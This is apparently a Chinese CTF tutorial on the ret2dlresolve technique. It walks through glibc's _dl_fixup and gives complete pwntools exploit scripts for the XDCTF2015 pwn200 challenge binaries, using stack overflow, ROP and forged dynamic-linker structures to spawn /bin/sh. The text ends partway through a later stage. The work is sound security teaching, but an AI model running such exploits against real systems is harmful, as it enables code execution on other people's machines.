结构体指针（包含了加载基址、动态节信息等）。 * reloc_arg: 就是在 PLT 表中 \u0026#34;push ID\u0026#34; 压入的那个重定位偏移量/索引（可控！）。 */ _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { /* * [系统机制] 第一步：从程序的 .dynamic 节区提取三大核心表的基地址 * [利用] 如果程序没有开启 RELRO，.dynamic节区是可写的。 * 可以通过修改 l_info[DT_STRTAB] 等指针，让它们指向伪造的地址！ */ // 获取符号表 (SYMTAB) 的基地址 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); // 获取字符串表 (STRTAB) 的基地址 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // 获取重定位表 (JMPREL) 的基地址，并加上我们传入的 ID (reloc_arg)， // 精确锁定我们要解析的那个函数的重定位表项 (reloc)。 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); /* * [系统机制] 第二步：定位符号结构体 * 通过 reloc-\u0026gt;r_info 提取出该函数在符号表(symtab)中的索引， * 从而拿到对应的符号结构体 sym。 */ const ElfW(Sym) *sym = \u0026amp;symtab[ELFW(R_SYM) (reloc-\u0026gt;r_info)]; const ElfW(Sym) *refsym = sym; // 计算出该函数的 GOT 表地址 (将来要把真实地址写回这里) void *const rel_addr = (void *)(l-\u0026gt;l_addr + reloc-\u0026gt;r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; /* 安全检查：确保我们要解析的确实是一个 PLT 类型的重定位（即函数调用） */ assert (ELFW(R_TYPE)(reloc-\u0026gt;r_info) == ELF_MACHINE_JMP_SLOT); /* 检查符号的可见性，绝大部分普通的外部函数（如 read, puts）都会进入 if 块 */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym-\u0026gt;st_other), 0) == 0) { const struct r_found_version *version = NULL; // ... (省略部分版本校验(Version)代码，处理符号版本冲突用) ... // 线程安全与锁相关（避免多线程同时解析导致竞争） int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } /* * [系统机制] 第三步：根据字符串名字，去系统共享库中查找真实的物理地址！ * 这是最最核心的一句：_dl_lookup_symbol_x * [利用] 看第一个参数：strtab + sym-\u0026gt;st_name * - strtab 是字符串表的基址。 * - sym-\u0026gt;st_name 是字符串偏移。 * 如果改了 strtab 的指针，或者在那个偏移处填了 \u0026#34;system\\x00\u0026#34;， * 链接器就会拿着 \u0026#34;system\u0026#34; 这个字符串去 libc 里找，最终找出的也是 system 的真实地址！ */ result = _dl_lookup_symbol_x (strtab + sym-\u0026gt;st_name, l, \u0026amp;sym, l-\u0026gt;l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); // 解锁全局作用域 if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); /* * [系统机制] 第四步：计算绝对地址 * result 包含了库的加载基地址(Base Address)， * 加上符号本身的偏移量(st_value)，得出它在当前进程内存中的绝对物理地址！ */ value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym-\u0026gt;st_value) : 0); } else { /* 特殊情况：如果符号已经找到了（比如自身内部的符号），直接算地址 */ value = DL_FIXUP_MAKE_VALUE (l, l-\u0026gt;l_addr + sym-\u0026gt;st_value); result = l; } /* 处理特殊的加数机制 (Addend)，通常用于其他架构，x86/x64 一般不影响 */ value = elf_machine_plt_value (l, reloc, value); /* 处理 GNU_IFUNC 类型的符号（一种允许在运行时根据 CPU 特性选择不同优化的机制） */ if (sym != NULL \u0026amp;\u0026amp; __builtin_expect (ELFW(ST_TYPE) (sym-\u0026gt;st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); /* 如果环境变量强制要求不绑定 (LD_BIND_NOT=1)，直接返回地址，不写 GOT 表 */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; /* * [系统机制] 第五步：修补 GOT 表 * 调用 elf_machine_fixup_plt，将上面算出的绝对内存地址 (value) * 写入到该函数对应的 GOT 表项中 (rel_addr)。 * 下次再调用这个函数时，第一条 jmp [got] 就会直接跳到真实地址，不再走解析流程。 */ return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); } 通过阅读_dl_fixup源码可以总结出一般的函数重定向流程：\n1.通过struct link_map *l获得.dynsym，.dynstr，.rel.plt地址\n2.通过reloc_arg+.rel.plt地址获得函数对应的Elf32_Rel指针，记作reloc\n3.通过reloc-\u0026gt;r_info和.dynsym地址取得函数对应的Elf32_Sym指针，记作sym\n4.检查r_info最低位是否为7\n5.检查(sym-\u0026gt;st_other)\u0026amp;0x03是否为0\n6.通过strtab+sym-\u0026gt;st_name获得函数对应的字符串，进行查找，找到后赋值给rel_addr，更新GOT表，最后调用这个函数（jmp eax）\n对于reloc_arg，如果想把reloc指针骗到我们伪造的地址，如bss段的fake_reloc_addr\n32位下reloc_arg = fake_reloc_addr - DT_JMPREL真实地址\n64位下reloc_arg = (fake_reloc_addr - DT_JMPREL真实地址) / 24\n发现64位下的reloc_arg还得被24整除，而且reloc_arg还得去检查各种版本号，一旦过大就会崩溃，所以一般情况都直接把reloc_arg设为0，这样把DT_JMPREL的地址指向我们伪造的结构体\n攻击原理 在Linux中，程序使用_dl_runtime_resolve(link_map，reloc_offset)来对动态链接的函数进行重定位，对于动态链接在解析符号地址时所使用的重定位表项，动态符号表，动态字符串都是从目标文件的动态节.dynamic索引所得到的，所以如果可以修改其中的某些内容使得最后的动态链接器解析的符号是我们想要的解析的符号，那么攻击就达成了\n思路一 直接控制重定位表项的相关内容\n由于动态链接器最后在解析符号的地址时，是依据符号的名字进行解析的，因此，一个很自然的想法是直接修改动态字符串表.dynamic，比如把某个函数在字符串表对应的字符串修改为目标函数的，就可以实现利用效果\n思路二 间接控制重定位表项的相关内容\n既然动态链接器会从 .dynamic 节中索引到各个目标节，那如果我们可以修改动态节中的内容，那自然就很容易控制待解析符号对应的字符串，从而达到执行目标函数的目的。\n思路三 伪造 link_map\n由于动态连接器在解析符号地址时，主要依赖于 link_map 来查询相关的地址。因此，如果我们可以成功伪造 link_map，也就可以控制程序执行目标函数。\n归纳 第一种攻击手法 伪造函数名称对应字符串的地址\n获取函数名称对应的字符串：strtab+sym-\u0026gt;st_name\n这里产生了两个攻击对象，一个是strtab，另一个是sym-\u0026gt;st_name\n我们可以先将程序bss段写入\u0026quot;system\u0026quot;，再修改strtab或者sym-\u0026gt;st_name，使strtab+sym-\u0026gt;st_name指向\u0026quot;system\u0026quot;所在的地址，不过修改需要注意DT_STRTAB、sym-\u0026gt;st_name所在地址有可写权限，可以通过GDB的vmmap来查看是否具有权限\n这个攻击手法32位，64位都可以使用\n第二种攻击手法 32位下的伪造reloc_arg，伪造结构体\n宏观地从函数重定向流程来看，程序根据reloc_arg和各个section的地址来取得偏移量，最终定位到函数名称所对应的字符串地址\n既然reloc_arg是存放在栈中的，我们可以伪造reloc_arg和Elf32_Sym等结构体，通过虚假的reloc_arg引导程序指向我们伪造的结构体，进而取得我们伪造的偏移量，最终取得伪造的函数字符串，除此之外，在伪造结构体的过程中，我们还要注意程序对reloc-\u0026gt;r_info的最低位，sym-\u0026gt;st_other的检测全过程：\n取重定位表项： 链接器取出你给的超大 reloc_arg。 执行：JMPREL + reloc_arg。 结果： 指针直接飞出真实表区，准确落在了你在 .bss 伪造的 Elf32_Rel 上。 过类型检查，取符号表索引： 链接器查看假 Elf32_Rel 的 r_info。发现最低位是 7，断言通过！然后提取高 24 位，拿到了你精心计算的 sym_index。 取符号表项： 链接器执行：SYMTAB + sym_index * 16。 结果： 指针再次飞跃，准确落在了你伪造的 Elf32_Sym 上。 过可见性检查，取字符串偏移： 链接器查看假 Elf32_Sym 的 st_other，发现是 0，检查通过！接着取出里面的 st_name 偏移。 取函数名字符串： 链接器执行：STRTAB + st_name。 结果： 指针第三次飞跃，落在了你写下的 \u0026ldquo;system\\x00\u0026rdquo; 字符串上。 终局： 链接器拿着 \u0026ldquo;system\u0026rdquo; 这个名字去 libc 里面搜索，找到了真实的 system 函数地址。将其写回 r_offset 指定的位置，并直接跳过去执行。 执行命令： system 启动，顺手从栈上捞起了你一开始布置的 \u0026ldquo;/bin/sh\u0026rdquo;，成功弹出 Shell。 这个攻击手法有一定的限制，32位能够随便用，64位有大概率导致失败（版本检测问题）\n第三种攻击手法 64位下的修改reloc_arg，伪造结构体\n1 2 3 4 5 6 7 8 if (l-\u0026gt;l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-\u0026gt;r_info)] \u0026amp; 0x7fff; version = \u0026amp;l-\u0026gt;l_versions[ndx]; if (version-\u0026gt;hash == 0) version = NULL; } 之前由于这个if语句，64位下无法像32位下那样修改reloc_arg，伪造结构体，所以我们需要先泄露link_map地址，再将link_map+0x1c8设置成不为0 之后就是和32位下的思路一样了，根据64位下的结构体伪造结构体，伪造reloc_arg来进行攻击。\n第四种攻击手法 伪造link_map（需要知道libc版本）\n1 2 3 4 5 6 7 8 9 10 11 12 13 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym-\u0026gt;st_other), 0) == 0) //判断(sym-\u0026gt;st_other)\u0026amp;0x03是否为0 { ······ if (l-\u0026gt;l_info[VERSYMIDX (DT_VERSYM)] != NULL) { ······ } } else { value = DL_FIXUP_MAKE_VALUE (l, l-\u0026gt;l_addr + sym-\u0026gt;st_value); result = l; } 在第三种攻击手法中也说了，当(sym-\u0026gt;st_other)\u0026amp;0x03 == 0时，我们还需要将link_map+0x1c8设置为非0。 在这里来看看我们之前忽略掉了else语句，DL_FIXUP_MAKE_VALUE用来计算出函数的真实地址，我们只要将(sym-\u0026gt;st_other)\u0026amp;0x03设置为非0，进入else语句，l-\u0026gt;l_addr + sym-\u0026gt;st_value指向system语句即可进入system函数。\n那么问题就来了，我们并不知道system函数的真实地址。我们可以这样做，让sym-\u0026gt;st_value落在某个已经解析了的函数got表上，l-\u0026gt;l_addr设置为system函数和这个已经解析的函数的偏移值。另外，sym-\u0026gt;st_value落在某个已经解析了的函数got表上，说明这个函数对应的sym = 这个got表地址-8，通常而言sym对应着另外一个函数的got表地址，这种情况你需要确保另外一个函数也是已经解析过的,此时sym-\u0026gt;st_other一般为0x7f,才能保证(sym-\u0026gt;st_other)\u0026amp;0x03 != 0。如果sym不是对应着另一个函数的got表，需要确保(*(sym+5))\u0026amp;0x03 != 0。\n我们需要将l-\u0026gt;l_addr设置成我们想要的值，又不用泄露link_map地址，这就要求我们来伪造link_map结构体。我们还需要控制symtab和reloc-\u0026gt;r_info,因此我们还要伪造位于link_map+0x70的DT_SYMTAB指针、link_map+0xf8的DT_JMPREL指针，另外strtab必须是个可读的地址，因此我们还需要伪造位于link_map+0x68的DT_STRTAB指针。之后就是伪造.dynamic中的DT_SYMTAB结构体和DT_JMPREL结构体以及函数所对应的Elf64_Rela结构体。为了方便，我在构造的过程中一般将reloc_arg作为0来进行构造。\n总的来说要满足以下几个条件：\nlink_map中的DT_STRTAB、DT_SYMTAB、DT_JMPREL可读 DT_SYMTAB结构体中的d_ptr即sym，(*(sym+5))\u0026amp;0x03 != 0 (reloc-\u0026gt;r_info)\u0026amp;0xff == 7 rel_addr = l-\u0026gt;addr + reloc-\u0026gt;r_offset即原先需要修改的got表地址有可写权限 l-\u0026gt;l_addr + sym-\u0026gt;st_value 为system的地址 经典题目分析 对于三种RELRO模式，可以看看对应特点\nRELRO 类型 .got.plt 可写性 攻击难度 是否启用 lazy binding（延迟绑定） No RELRO 可写 最低 开启 Partial RELRO .got.plt 可写 中等 开启 Full RELRO .got.plt 也只读 最高 禁用（立即绑定） No RELRO 32位 CTF-Wiki main_no_relro_32\n1 2 3 4 5 6 7 8 ❯ gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32 ❯ checksec main_no_relro_32 [*] \u0026#39;/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/no-relro/main_no_relro_32\u0026#39; Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 在No RELRO的情况下，我们可以直接修改.dynamic节，只需要修改.dynamic节中的字符串表的地址为伪造的字符串表的地址，并且相应的位置为目标字符串就行了\n1.修改.dynamic节中字符串表的地址为伪造的地址\n2.在伪造的地址处构造好字符串表，将read字符串替换为system字符串\n3.在特定位置读取/bin/sh字符串\n4.调用read函数的PLT第二条指令，触发_dl_runtime_resolve进行函数解析，从而执行system函数\n脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import * # 环境配置 # context.log_level = \u0026#34;debug\u0026#34; # 取消注释可以开启调试模式，打印所有收发的数据 context.terminal = [\u0026#34;tmux\u0026#34;, \u0026#34;splitw\u0026#34;, \u0026#34;-h\u0026#34;] # 设置 gdb 调试时使用的终端，这里用 tmux 切分窗口 context.arch = \u0026#34;i386\u0026#34; # 指定目标程序架构为 32 位 #初始化 p = process(\u0026#34;./no_relro_32\u0026#34;) # 启动目标程序 rop = ROP(\u0026#34;./no_relro_32\u0026#34;) # 加载 ROP 模块，方便后续构造 ROP 链 elf = ELF(\u0026#34;./no_relro_32\u0026#34;) # 解析 ELF 文件，方便获取节区（Section）数据和地址 # 接收程序的欢迎提示信息，直到输出 \\n 为止 p.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) #构造 ROP 链 offset = 112 # 栈溢出的偏移量，距离返回地址需要填充 112 字节 rop.raw(offset * \u0026#39;a\u0026#39;) # 填充 112 个 \u0026#39;a\u0026#39;，覆盖局部变量和 saved ebp # --- 第一步：篡改 .dynamic 节中的字符串表指针 --- # No RELRO 的情况下，.dynamic 节是可写的。 # 0x08049804 是 DT_STRTAB 结构体的地址，其前4字节是 tag，后4字节是指针。 # 所以 0x08049804 + 4 就是实际指向 .dynstr（动态字符串表）的地址指针。 # 这里调用 read(fd=0, buf=0x08049804+4, size=4)，准备把这个指针改成我们伪造的地址。 rop.read(0, 0x08049804 + 4, 4) # --- 第二步：在内存中伪造一个新的字符串表 (.dynstr) --- # 获取原程序中真实的 .dynstr 节的数据 dynstr = elf.get_section_by_name(\u0026#39;.dynstr\u0026#39;).data() # 【核心漏洞利用】将原本的 \u0026#34;read\u0026#34; 字符串替换成 \u0026#34;system\u0026#34; dynstr = dynstr.replace(b\u0026#34;read\u0026#34;, b\u0026#34;system\u0026#34;) # 调用 read(fd=0, buf=0x080498E0, size=len(dynstr)) # 0x080498E0 是我们在 .bss 段或其他可写段中挑选的一个空白地址。 # 我们把刚才篡改好的伪造字符串表写进这个空白地址中。 rop.read(0, 0x080498E0, len(dynstr)) # --- 第三步：把命令字符串 \u0026#34;/bin/sh\\x00\u0026#34; 写入内存 --- # 调用 read(fd=0, buf=0x080498E0+0x100, size=8) # 在刚才伪造的表后面一点的位置（+0x100），找个空地写入将来给 system 用的参数 rop.read(0, 0x080498E0 + 0x100, len(b\u0026#34;/bin/sh\\x00\u0026#34;)) # --- 第四步：强制触发动态链接器解析函数 --- # 0x08048376 是 read@plt 的第二条指令地址 (即 push reloc_offset; jmp .plt_got)。 # 直接跳到这里，会跳过第一条 jmp *got 指令，强制进入 _dl_runtime_resolve 进行函数解析。 rop.raw(0x08048376) # 因为之前已经把字符串表指针改向了伪造表，解析器在找 \u0026#34;read\u0026#34; 时，实际拿到的是 \u0026#34;system\u0026#34; 字符串。 # 所以这里解析出来并在底层执行的实际上是 system 函数！ # 设置 system 函数的返回地址（随便给个无效地址 0xdeadbeef 即可，因为我们拿到 shell 就不管了） rop.raw(0xdeadbeef) # 设置 system 函数的参数指针，刚好指向我们刚才写入 \u0026#34;/bin/sh\\x00\u0026#34; 的地址 rop.raw(0x080498E0 + 0x100) # print(rop.dump()) # 调试用，打印 ROP 链的当前状态 # 发送 Payload # 根据程序的漏洞限制（可能是 read 函数限制了最多读取 256 字节），检查 ROP 链是否超长 assert(len(rop.chain()) \u0026lt;= 256) # 用 \u0026#39;a\u0026#39; 把剩余的空间补齐到 256 字节，凑满漏洞程序的 read 长度要求 rop.raw(\u0026#34;a\u0026#34; * (256 - len(rop.chain()))) # 1. 触发栈溢出，将设定好的所有 ROP 链打入程序 p.send(rop.chain()) # 此时程序会依次执行我们刚刚用 ROP 布置的 3 个 read 函数： # 2. 响应第一次 read：发送我们伪造的字符串表首地址，覆盖 .dynamic 中的旧指针 p.send(p32(0x080498E0)) # 3. 响应第二次 read：发送带有 \u0026#34;system\u0026#34; 的伪造字符串表数据，填入 0x080498E0 p.send(dynstr) # 4. 响应第三次 read：发送系统命令 \u0026#34;/bin/sh\\x00\u0026#34;，填入 0x080498E0+0x100 p.send(b\u0026#34;/bin/sh\\x00\u0026#34;) # 全部发送完毕后，最后 ROP 链执行到 read@plt 第二条指令，触发解析并执行 system(\u0026#34;/bin/sh\u0026#34;) # 获取 Shell p.interactive() # 移交控制权，允许用户与新开出来的 shell 交互 64位 深入理解ret2dlresolve | Collectcrop\u0026rsquo;s Blog\n这题很明显，是一道栈溢出\n得使用ret2csu，把这些gadget利用一下\n由于寻找libc基址是通过strtab + sym-\u0026gt;st_name这个函数的名字来查找的\n类似32位的方法一样构造，这题多加一个ret2csu\n在.dynamic节中存着DT_STRTAB和DT_SYMTAB，分别指向字符串表和符号表，而.dynamic节在No RELRO的情况下是可写的，那么利用思路就很明显了，可以直接ROP链调用read读取内容覆盖DT_STRTAB为一个我们可控的地址，然后我们自己在该地址处伪造一个字符表，把目标字符串换成system，最后直接返回到函数PLT表第二个jmp前的push处压ID调用_dl_runtime_resolve\n对于最后那步，是攻击利用最重要的一步，因为之前已经通过漏洞把DT_STRTAB（字符串表）改了，把原本对应puts或者read的字符串，在内存里直接换成system，现在需要直接执行system函数，但因为puts函数之前已经被调用过，第一个jmp会直接跳到真实的puts去执行，动态链接根本就不启动，所以说，在写ROP链的时候，不跳到puts@plt的第一行，而是精准地跳到第二行，也就是push ID那个内存地址，这样就就可以跳过第一个jmp的检查，让程序以为现在是第一次解析这个函数，于是去调用_dl_runtime_resolve函数，接着去拿ID查字符串。最终找到的是伪造的函数即为system函数，然后调用系统函数，getshell\n脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import * context(arch=\u0026#34;amd64\u0026#34;,log_level=\u0026#34;debug\u0026#34;) context.terminal=[\u0026#34;cmd.exe\u0026#34;,\u0026#34;/c\u0026#34;, \u0026#34;start\u0026#34;, \u0026#34;cmd.exe\u0026#34;, \u0026#34;/c\u0026#34;, \u0026#34;wsl.exe\u0026#34;, \u0026#34;-e\u0026#34;] p = process(\u0026#34;main_no_relro_64\u0026#34;) elf = ELF(\u0026#34;./main_no_relro_64\u0026#34;) pop_rdi_ret = 0x0000000000400773 pop_rsi_r15_ret = 0x0000000000400771 ret = 0x00000000004004c6 read_got = 0x600B18 gadget1 = 0x40076A gadget2 = 0x400750 strtab = 0x600990 main = 0x40063E data = 0x600c00 def ret2csu(call_got_addr, rdi_val, rsi_val, rdx_val, padding=0x78, return_after_call=0x0): payload = b\u0026#34;A\u0026#34; * padding payload += p64(gadget1) # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(call_got_addr) # r12 = GOT 地址 payload += p64(rdi_val) # r13 = edi payload += p64(rsi_val) # r14 = rsi payload += p64(rdx_val) # r15 = rdx payload += p64(gadget2) # mov rdx, r15; mov rsi, r14; mov edi, r13; call [r12+rbx*8] payload += p64(0) * 7 # 对齐，模拟返回值保存现场 payload += p64(return_after_call) if return_after_call else b\u0026#34;\u0026#34; return payload p.sendlineafter(\u0026#34;Welcome to XDCTF2015~!\u0026#34;,ret2csu(read_got, 0, strtab, 8, return_after_call=main)) p.send(p64(data))\t# 更改DT_STRTAB dynstr = elf.get_section_by_name(\u0026#39;.dynstr\u0026#39;).data() dynstr = dynstr.replace(b\u0026#34;read\u0026#34;,b\u0026#34;system\u0026#34;) p.sendlineafter(\u0026#34;Welcome to XDCTF2015~!\u0026#34;,ret2csu(read_got, 0, data, 0x60, return_after_call=main)) p.send(dynstr)\t# 伪造字符表 p.sendlineafter(\u0026#34;Welcome to XDCTF2015~!\u0026#34;,ret2csu(read_got, 0, data+0x100, 8, return_after_call=main)) p.send(b\u0026#34;/bin/sh\\x00\u0026#34;)\t# 读入字符串 payload = b\u0026#34;a\u0026#34;*0x78 + p64(ret) + p64(pop_rdi_ret) + p64(data+0x100) + p64(0x400516) p.sendlineafter(\u0026#34;Welcome to XDCTF2015~!\u0026#34;,payload)\t# 将read函数解析成system从而获取shell p.interactive() PARTIAL RELRO 当程序开启了PARTIAL RELRO，即.dynamic节区（以及.got等部分节区）变成只读，无法像之前一样直接调用read去修改DT_STRTAB这个指针，一旦写入就会触发段错误\n32位 既然无法直接修改，那我们就换一种思路，伪造\u0026quot;查表的索引（ID）\u0026quot;，让它越界读到我们提前构造好的bss段上\n思路 大偏移\n回顾_dl_fixup函数查表的底层逻辑，它是靠ID去一步步找数据的：\nreloc = JMPREL + reloc_arg (重定位表项) sym = SYMTAB + sym_index * size (符号表项) string = STRTAB + sym-\u0026gt;st_name (字符串名字) 很自然想到，既然JMPREL，SYMTAB，STRTAB的基地址我们改变不了，那我们何不把reloc_arg（偏移量）填成一个超级大的值，然后让JMPREL+reloc_arg的地址直接跑出只读区域，落入可读可写的.bss段\n具体操作 1.伪造字符串\n在bss段找个地方写好\u0026quot;system\\x00\u0026quot;，然后计算st_name = (伪造字符串的地址 - STRTAB 基址)。\n2.伪造符号表项（ELF_Sym)\n在.bss找个地方，伪造一个16字节（32位）或24字节（64位）的ELF_Sym结构体，把结构体里的st_name字段，填上我们第一步算出来的偏移量，然后计算sym_index = (伪造的 Elf_Sym 地址 - SYMTAB 基址) / 结构体大小。\n3.伪造重定位项\n接着在bss段里伪造一个重定位结构体，把它里面的r_info字段，通过位运算塞入我们在第二步算出的sym_index，然后计算reloc_arg = (伪造的 Elf_Rel 地址 - JMPREL 基址)（在 64 位下还要除以结构体大小）。\n4.触发漏洞\n使用ROP将参数设置好，然后跳转到PLT0，并将第三步算出来的reloc_arg给push进去，动态链接拿着这个ID走流程，完美地被引导到了我们在.bss里面伪造的结构体里，最终找出system\n例题分析 CTF-Wiki main_partial_relro_32\n1 2 3 4 5 6 7 8 ❯ checksec main_partial_relro_32 [*] \u0026#39;/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/parti al-relro/main_partial_relro_32\u0026#39; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 可以看到NX enabled，也就是堆栈不可执行，而且Partial RELRO，也就是部分可读，这种情况下，ELF文件中的.dynamic节将变为只读，这时我们可以通过伪造重定位表项的方式来调用目标函数。\n手工伪造 已经知道栈溢出漏洞，并拿到偏移为112，接下去分阶段一步步构造payload\nStage1 劫持控制流，栈迁移\n由于原栈空间有限，无法容纳后续伪造的庞大结构体，需要将栈指针（esp）迁移到具有读写权限且空间广阔的.bss段，利用栈溢出，先调用read(0,bss_addr,size)将后续的ROP链写入.bss段，随后利用leave；ret将esp劫持到该bss段\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * elf = ELF(\u0026#39;./partial_relro_32\u0026#39;) r = process(\u0026#39;./partial_relro_32\u0026#39;) rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) offset = 112 bss_addr = elf.bss() r.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) # stack privot to bss segment, set esp = base_stage stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size rop.raw(\u0026#39;a\u0026#39; * offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain()) # write \u0026#34;/bin/sh\u0026#34; rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) sh = \u0026#34;/bin/sh\u0026#34; rop.write(1, base_stage + 80, len(sh)) rop.raw(b\u0026#39;a\u0026#39; * (80 - len(rop.chain()))) rop.raw(sh) rop.raw(b\u0026#39;a\u0026#39; * (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() Stage2 直接调用PLT0\n因为程序正常的延迟绑定会执行push reloc_offset；jmp plt0，在此阶段，我们可以手动在栈上布置PLT0的地址，紧跟合法的write重定位偏移量，跳过第一个jmp验证检测，直接跳到PLT0，然后触发_dl_runtime_resolve解析write\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import * elf = ELF(\u0026#39;./partial_relro_32\u0026#39;) r = process(\u0026#39;./partial_relro_32\u0026#39;) rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) offset = 112 bss_addr = elf.bss() r.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) # stack privot to bss segment, set esp = base_stage stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size rop.raw(\u0026#39;a\u0026#39; * offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain()) # write \u0026#34;/bin/sh\u0026#34; rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) plt0 = elf.get_section_by_name(\u0026#39;.plt\u0026#39;).header.sh_addr jmprel_data = elf.get_section_by_name(\u0026#39;.rel.plt\u0026#39;).data() writegot = elf.got[\u0026#34;write\u0026#34;] write_reloc_offset = jmprel_data.find(p32(writegot,endian=\u0026#34;little\u0026#34;)) print(write_reloc_offset) rop.raw(plt0) rop.raw(write_reloc_offset) # fake ret addr of write rop.raw(b\u0026#39;bbbb\u0026#39;) # fake write args, write(1, base_stage+80, sh) rop.raw(1) rop.raw(base_stage + 80) sh = \u0026#34;/bin/sh\u0026#34; rop.raw(len(sh)) rop.raw(\u0026#39;a\u0026#39; * (80 - len(rop.chain()))) rop.raw(sh) rop.raw(\u0026#39;a\u0026#39; * (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() Stage3 伪造重定位表项（Fake ELF32_Rel）\n目的：测试动态链接器能否解析位于非标准区域的重定位表项\n操作：在迁移后的bss段构造一个伪造的Elf32_Rel结构体，将其相对真实.rel.plt的偏移量（index_offset）作为参数传递给PLT0，此时，伪造的Elf32_Rel中的r_info字段仍然指向真实的write符号表项\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import * elf = ELF(\u0026#39;./partial_relro_32\u0026#39;) r = process(\u0026#39;./partial_relro_32\u0026#39;) rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) offset = 112 bss_addr = elf.bss() r.recvuntil(b\u0026#39;Welcome to XDCTF2015~!\\n\u0026#39;) # stack privot to bss segment, set esp = base_stage stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size rop.raw(\u0026#39;a\u0026#39; * offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain()) # write \u0026#34;/bin/sh\u0026#34; rop = ROP(\u0026#39;./partial_relro_32\u0026#39;) plt0 = elf.get_section_by_name(\u0026#39;.plt\u0026#39;).header.sh_addr got0 = elf.get_section_by_name(\u0026#39;.got\u0026#39;).header.sh_addr rel_plt = elf.get_section_by_name(\u0026#39;.rel.plt\u0026#39;).header.sh_addr # make base_stage+24 ---\u0026gt; fake reloc write_reloc_offset = base_stage + 24 - rel_plt write_got = elf.got[\u0026#39;write\u0026#39;] r_info = 0x607 rop.raw(plt0) rop.raw(write_reloc_offset) # fake ret addr of write rop.raw(\u0026#39;bbbb\u0026#39;) # fake write args, write(1, base_stage+80, sh) rop.raw(1) rop.raw(base_stage + 80) sh = \u0026#34;/bin/sh\u0026#34; rop.raw(len(sh)) # construct fake write relocation entry rop.raw(write_got) rop.raw(r_info) rop.raw(\u0026#39;a\u0026#39; * (80 - len(rop.chain()))) rop.raw(sh) rop.raw(\u0026#39;a\u0026#39; * (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() Stage4 伪造符号表项与触发版本控制崩溃\n目的：进一步伪造符号表项Elf32_Sym\n崩溃原理：_dl_runtime_resolve在解析时，会利用r_info的高24位即符号索引去.gnu.version数组中校验，由于我们伪造的Elf32_Sym位于bss段，距离真实的.dynsym非常远，导致算出的索引非常大，此时动态链接器发生数组越界访问，读取到了未知的垃圾数据作为版本哈希指针，导致段错误\n需要修复这个问题，通过查阅 glibc 源码可知，如果越界读取到的版本哈希值为 0，动态链接器会直接跳过版本校验。因此，我们需要在内存中寻找一块值为 0 的区域（如 0x080487C2），并通过精确的数学计算，调整我们构造 base_stage 的起始地址，使得最终算出的越界偏移恰好落在这个 0 值上，从而安全绕过安检。\n1 2 3 4 